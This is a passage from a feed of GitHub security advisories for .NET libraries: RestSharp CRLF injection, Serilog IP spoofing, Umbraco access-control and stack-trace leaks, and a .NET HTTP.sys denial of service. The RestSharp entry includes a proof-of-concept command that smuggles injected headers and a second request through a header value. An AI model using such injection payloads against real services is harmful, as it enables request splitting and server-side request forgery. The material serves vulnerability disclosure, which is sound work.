        &lt;span class=&quot;pl-smi&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; args&lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-smi&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;options&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; RestClientOptions&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;/span&gt;http://insert.some.site.here&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-smi&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; RestClient&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;options&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-smi&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;request&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; RestRequest&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;/span&gt;/status&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; Method&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;Get&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;AddHeader&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;/span&gt;Authorization&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; key&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-smi&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;await&lt;/span&gt; client&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;ExecuteAsync&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        Console&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;$&quot;&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;Status: &lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;response&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;StatusCode&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        Console&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;$&quot;&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;Response: &lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;response&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;Content&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;p&gt;This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):&lt;/p&gt;
        &lt;div class=&quot;highlight highlight-source-shell&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;anonymous@ubuntu-sofia-672448:&lt;span class=&quot;pl-k&quot;&gt;~&lt;/span&gt;$ dotnet RestSharp-cli.dll &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;$&#39;&lt;/span&gt;test&lt;span class=&quot;pl-cce&quot;&gt;\r\n&lt;/span&gt;User-Agent: injected header!&lt;span class=&quot;pl-cce&quot;&gt;\r\n\r\n&lt;/span&gt;GET /smuggled HTTP/1.1&lt;span class=&quot;pl-cce&quot;&gt;\r\n&lt;/span&gt;Host: insert.some.site.here&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;
        Status: OK
        Response: &lt;span class=&quot;pl-k&quot;&gt;&amp;lt;&lt;/span&gt;html&amp;gt;&amp;lt;/html&lt;span class=&quot;pl-k&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;p&gt;The application intends to send a single request of the form:&lt;/p&gt;
        &lt;div class=&quot;highlight highlight-source-httpspec&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt; /status HTTP/1.1&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Host:&lt;/span&gt; insert.some.site.here&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Authorization:&lt;/span&gt; &amp;lt;api key&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;User-Agent:&lt;/span&gt; RestSharp/111.4.1.0&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Accept:&lt;/span&gt; application/json, text/json, text/x-json, text/javascript, application/xml, text/xml&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Accept-Encoding:&lt;/span&gt; gzip, deflate, br&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;p&gt;But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:&lt;/p&gt;
        &lt;div class=&quot;highlight highlight-source-httpspec&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt; /status HTTP/1.1&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Host:&lt;/span&gt; insert.some.site.here&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Authorization:&lt;/span&gt; test&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;User-Agent:&lt;/span&gt; injected header!&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;p&gt;and&lt;/p&gt;
        &lt;div class=&quot;highlight highlight-source-httpspec&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt; /smuggled HTTP/1.1&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Host:&lt;/span&gt; insert.some.site.here&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;User-Agent:&lt;/span&gt; RestSharp/111.4.1.0&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Accept:&lt;/span&gt; application/json, text/json, text/x-json, text/javascript, application/xml, text/xml&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Accept-Encoding:&lt;/span&gt; gzip, deflate, br&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;p&gt;This can be confirmed by checking the access logs on the server where these commands were run (with &lt;code class=&quot;notranslate&quot;&gt;insert.some.site.here&lt;/code&gt; pointing to localhost):&lt;/p&gt;
        &lt;div class=&quot;highlight highlight-source-shell&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;anonymous@ubuntu-sofia-672448:&lt;span class=&quot;pl-k&quot;&gt;~&lt;/span&gt;$ sudo tail /var/log/apache2/access.log
        127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;GET /status HTTP/1.1&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; 200 240 &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;-&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;injected header!&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
        127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;GET /smuggled HTTP/1.1&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; 404 436 &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;-&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;RestSharp/111.4.1.0&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.&lt;/p&gt;
        &lt;p&gt;Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-4rr6-2v9v-wcpc&quot; href=&quot;https://github.com/restsharp/RestSharp/security/advisories/GHSA-4rr6-2v9v-wcpc&quot;&gt;GHSA-4rr6-2v9v-wcpc&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/restsharp/RestSharp/commit/0fba5e727d241b1867bd71efc912594075c2934b/hovercard&quot; href=&quot;https://github.com/restsharp/RestSharp/commit/0fba5e727d241b1867bd71efc912594075c2934b&quot;&gt;restsharp/RestSharp@&lt;tt&gt;0fba5e7&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32&quot;&gt;https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45302&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45302&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-4rr6-2v9v-wcpc</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-4rr6-2v9v-wcpc</guid>
      <pubDate>Thu, 29 Aug 2024 19:30:51 GMT</pubDate>
    </item>
    <item>
      <title>Serilog Client IP Spoofing vulnerability</title>
      <description>&lt;p&gt;Serilog (before v2.1.0) contains a Client IP Spoofing vulnerability, which allows attackers to falsify their IP addresses in log files by specifying an arbitrary IP as a value of X-Forwarded-For or Client-Ip headers while performing HTTP requests.&lt;/p&gt;
        &lt;p&gt;It is not possible to configure Serilog.Enrichers.ClientInfo to not trust the X-Forwarded-For header.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-44930&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-44930&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;1967132009&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/serilog-contrib/serilog-enrichers-clientinfo/issues/29&quot; data-hovercard-type=&quot;issue&quot; data-hovercard-url=&quot;/serilog-contrib/serilog-enrichers-clientinfo/issues/29/hovercard&quot; href=&quot;https://github.com/serilog-contrib/serilog-enrichers-clientinfo/issues/29&quot;&gt;serilog-contrib/serilog-enrichers-clientinfo#29&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/serilog-contrib/serilog-enrichers-clientinfo/releases/tag/v2.1.0&quot;&gt;https://github.com/serilog-contrib/serilog-enrichers-clientinfo/releases/tag/v2.1.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2417399908&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/serilog-contrib/serilog-enrichers-clientinfo/issues/38&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/serilog-contrib/serilog-enrichers-clientinfo/pull/38/hovercard&quot; href=&quot;https://github.com/serilog-contrib/serilog-enrichers-clientinfo/pull/38&quot;&gt;serilog-contrib/serilog-enrichers-clientinfo#38&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/serilog-contrib/serilog-enrichers-clientinfo/commit/a72051d1900131e6fb30bcfd9491a988167fb6ac/hovercard&quot; href=&quot;https://github.com/serilog-contrib/serilog-enrichers-clientinfo/commit/a72051d1900131e6fb30bcfd9491a988167fb6ac&quot;&gt;serilog-contrib/serilog-enrichers-clientinfo@&lt;tt&gt;a72051d&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-5x5q-cqf6-gj8r</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-5x5q-cqf6-gj8r</guid>
      <pubDate>Thu, 29 Aug 2024 18:31:36 GMT</pubDate>
    </item>
    <item>
      <title>Umbraco CMS Improper Access Control vulnerability</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;As an authenticated user one can access a few unintended endpoints&lt;/p&gt;
        &lt;h3&gt;Explanation of the vulnerability&lt;/h3&gt;
        &lt;p&gt;Few endpoints in Umbraco Management API was not protected by a specific section. These just required you to be authenticated. Due to the fact that a member is also just authenticated, it was possible to get info from these endpoints using a member token.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-hrww-x3fq-xcvh&quot; href=&quot;https://github.com/umbraco/Umbraco-CMS/security/advisories/GHSA-hrww-x3fq-xcvh&quot;&gt;GHSA-hrww-x3fq-xcvh&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-43377&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-43377&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/umbraco/Umbraco-CMS/commit/72bef8861d94a39d5cc9530a04c4797b91fcbecf/hovercard&quot; href=&quot;https://github.com/umbraco/Umbraco-CMS/commit/72bef8861d94a39d5cc9530a04c4797b91fcbecf&quot;&gt;umbraco/Umbraco-CMS@&lt;tt&gt;72bef88&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hrww-x3fq-xcvh</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hrww-x3fq-xcvh</guid>
      <pubDate>Tue, 20 Aug 2024 18:32:26 GMT</pubDate>
    </item>
    <item>
      <title>Umbraco CMS vulnerable to Generation of Error Message Containing Sensitive Information</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Some endpoints in the Management API can return stack trace information, even when Umbraco is not in debug mode.&lt;/p&gt;
        &lt;h3&gt;Explanation of the vulnerability&lt;/h3&gt;
        &lt;p&gt;Management API endpoints leaked stack traces in case of Internal server errors, no matter if the debug setting was disabled.&lt;/p&gt;
        &lt;p&gt;E.g. when paging with negative numbers in some apis&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-77gj-crhp-3gvx&quot; href=&quot;https://github.com/umbraco/Umbraco-CMS/security/advisories/GHSA-77gj-crhp-3gvx&quot;&gt;GHSA-77gj-crhp-3gvx&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-43376&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-43376&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/umbraco/Umbraco-CMS/commit/b76070c794925932cb159ef50b851db6e966a004/hovercard&quot; href=&quot;https://github.com/umbraco/Umbraco-CMS/commit/b76070c794925932cb159ef50b851db6e966a004&quot;&gt;umbraco/Umbraco-CMS@&lt;tt&gt;b76070c&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-77gj-crhp-3gvx</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-77gj-crhp-3gvx</guid>
      <pubDate>Tue, 20 Aug 2024 18:25:15 GMT</pubDate>
    </item>
    <item>
      <title>Microsoft Security Advisory CVE-2024-38168 | .NET Denial of Service Vulnerability</title>
      <description>&lt;h1&gt;Microsoft Security Advisory &lt;a title=&quot;CVE-2024-38168&quot; data-hovercard-type=&quot;advisory&quot; data-hovercard-url=&quot;/advisories/GHSA-7qrv-8f9x-3h32/hovercard&quot; href=&quot;https://github.com/advisories/GHSA-7qrv-8f9x-3h32&quot;&gt;CVE-2024-38168&lt;/a&gt; | .NET Denial of Service Vulnerability&lt;/h1&gt;
        &lt;h2&gt;&lt;a name=&quot;user-content-executive-summary&quot;&gt;&lt;/a&gt;Executive summary&lt;/h2&gt;
        &lt;p&gt;Microsoft is releasing this security advisory to provide information about a vulnerability in .NET 8.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.&lt;/p&gt;
        &lt;p&gt;A vulnerability exists in .NET when an attacker through unauthenticated requests may trigger a Denial of Service in ASP.NET HTTP.sys web server. This is a windows OS only vulnerability.&lt;/p&gt;
        &lt;h2&gt;Announcement&lt;/h2&gt;
        &lt;p&gt;Announcement for this issue can be found at &lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2463848613&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/dotnet/announcements/issues/320&quot; data-hovercard-type=&quot;issue&quot; data-hovercard-url=&quot;/dotnet/announcements/issues/320/hovercard&quot; href=&quot;https://github.com/dotnet/announcements/issues/320&quot;&gt;dotnet/announcements#320&lt;/a&gt;&lt;/p&gt;
        &lt;h2&gt;&lt;a name=&quot;user-content-mitigation-factors&quot;&gt;&lt;/a&gt;Mitigation factors&lt;/h2&gt;
        &lt;p&gt;Microsoft has not identified any mitigating factors for this vulnerability.&lt;/p&gt;
        &lt;h2&gt;&lt;a name=&quot;user-content-affected-software&quot;&gt;&lt;/a&gt;Affected software&lt;/h2&gt;
        &lt;ul&gt;
        &lt;li&gt;Any .NET 8.0 application running on .NET 8.0.7 or earlier.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h2&gt;&lt;a name=&quot;user-content-affected-packages&quot;&gt;&lt;/a&gt;Affected Packages&lt;/h2&gt;
        &lt;p&gt;The vulnerability affects any Microsoft .NET Core project if it uses any of affected packages versions listed below&lt;/p&gt;
        &lt;h3&gt;&lt;a name=&quot;user-content-.net 8&quot;&gt;&lt;/a&gt;.NET 8&lt;/h3&gt;
        &lt;markdown-accessiblity-table&gt;&lt;table role=&quot;table&quot;&gt;
        &lt;thead&gt;
        &lt;tr&gt;
        &lt;th&gt;Package name&lt;/th&gt;
        &lt;th&gt;Affected version&lt;/th&gt;
        &lt;th&gt;Patched version&lt;/th&gt;
        &lt;/tr&gt;
        &lt;/thead&gt;
        &lt;tbody&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm&quot; rel=&quot;nofollow&quot;&gt;Microsoft.AspNetCore.App.Runtime.win-arm&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64&quot; rel=&quot;nofollow&quot;&gt;Microsoft.AspNetCore.App.Runtime.win-arm64&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64&quot; rel=&quot;nofollow&quot;&gt;Microsoft.AspNetCore.App.Runtime.win-x64&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
        &lt;td&gt;&lt;a href=&quot;https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86&quot; rel=&quot;nofollow&quot;&gt;Microsoft.AspNetCore.App.Runtime.win-x86&lt;/a&gt;&lt;/td&gt;
        &lt;td&gt;&amp;gt;= 8.0.0, &amp;lt; 8.0.8&lt;/td&gt;
        &lt;td&gt;8.0.8&lt;/td&gt;
        &lt;/tr&gt;
        &lt;/tbody&gt;
        &lt;/table&gt;&lt;/markdown-accessiblity-table&gt;
        &lt;h2&gt;Advisory FAQ&lt;/h2&gt;
        &lt;h3&gt;&lt;a name=&quot;user-content-how-affected&quot;&gt;&lt;/a&gt;How do I know if I am affected?&lt;/h3&gt;
        &lt;p&gt;If you have a runtime or SDK with a version listed, or an affected package listed in &lt;a href=&quot;https://github.com/advisories/GHSA-7qrv-8f9x-3h32#affected-packages&quot;&gt;affected software&lt;/a&gt; or &lt;a href=&quot;https://github.com/advisories/GHSA-7qrv-8f9x-3h32#affected-software&quot;&gt;affected packages&lt;/a&gt;, you&#39;re exposed to the vulnerability.&lt;/p&gt;
        &lt;h3&gt;&lt;a name=&quot;user-content-how-fix&quot;&gt;&lt;/a&gt;How do I fix the issue?&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;To fix the issue please install the latest version of .NET 8.0 or .NET 6.0. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.&lt;/li&gt;
        &lt;li&gt;If you have .NET 6.0 or greater installed, you can list the versions you have installed by running the &lt;code class=&quot;notranslate&quot;&gt;dotnet --info&lt;/code&gt; command. You will see output like the following;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;.NET Core SDK (reflecting any global.json):
        Version: 8.0.200
        Commit: 8473146e7d
        Runtime Environment:
        OS Name: Windows
        OS Version: 10.0.18363
        OS Platform: Windows
        RID: win10-x64
        Base Path: C:\Program Files\dotnet\sdk\6.0.300\
        Host (useful for support):
        Version: 8.0.3
        Commit: 8473146e7d
        .NET Core SDKs installed:
        8.0.200 [C:\Program Files\dotnet\sdk]
        .NET Core runtimes installed:
        Microsoft.AspAspNetCore.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.AspAspNetCore.App]
        Microsoft.AspNetCore.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
        Microsoft.WindowsDesktop.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
        To install additional .NET Core runtimes or SDKs:
        https://aka.ms/dotnet-download
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ul&gt;
        &lt;li&gt;If you&#39;re using .NET 8.0, you should download and install .NET 8.0.8 Runtime or .NET 8.0.108 SDK (for Visual Studio 2022 v17.8) from &lt;a href=&quot;https://dotnet.microsoft.com/download/dotnet-core/8.0&quot; rel=&quot;nofollow&quot;&gt;https://dotnet.microsoft.com/download/dotnet-core/8.0&lt;/a&gt;.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;.NET 8.0 updates are also available from Microsoft Update. To access this either type &quot;Check for updates&quot; in your Windows search, or open Settings, choose Update &amp;amp; Security and then click Check for Updates.&lt;/p&gt;
        &lt;p&gt;Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.&lt;/p&gt;
        &lt;p&gt;Additionally, if you&#39;ve deployed &lt;a href=&quot;https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd&quot; rel=&quot;nofollow&quot;&gt;self-contained applications&lt;/a&gt; targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.&lt;/p&gt;
        &lt;h2&gt;Other Information&lt;/h2&gt;
        &lt;h3&gt;Reporting Security Issues&lt;/h3&gt;
        &lt;p&gt;If you have found a potential security issue in .NET 8.0 or .NET 6.0, please email details to &lt;a href=&quot;mailto:secure@microsoft.com&quot;&gt;secure@microsoft.com&lt;/a&gt;. Reports may qualify for the Microsoft .NET Core &amp;amp; .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at &lt;a href=&quot;https://aka.ms/corebounty&quot; rel=&quot;nofollow&quot;&gt;https://aka.ms/corebounty&lt;/a&gt;.&lt;/p&gt;
        &lt;h3&gt;Support&lt;/h3&gt;
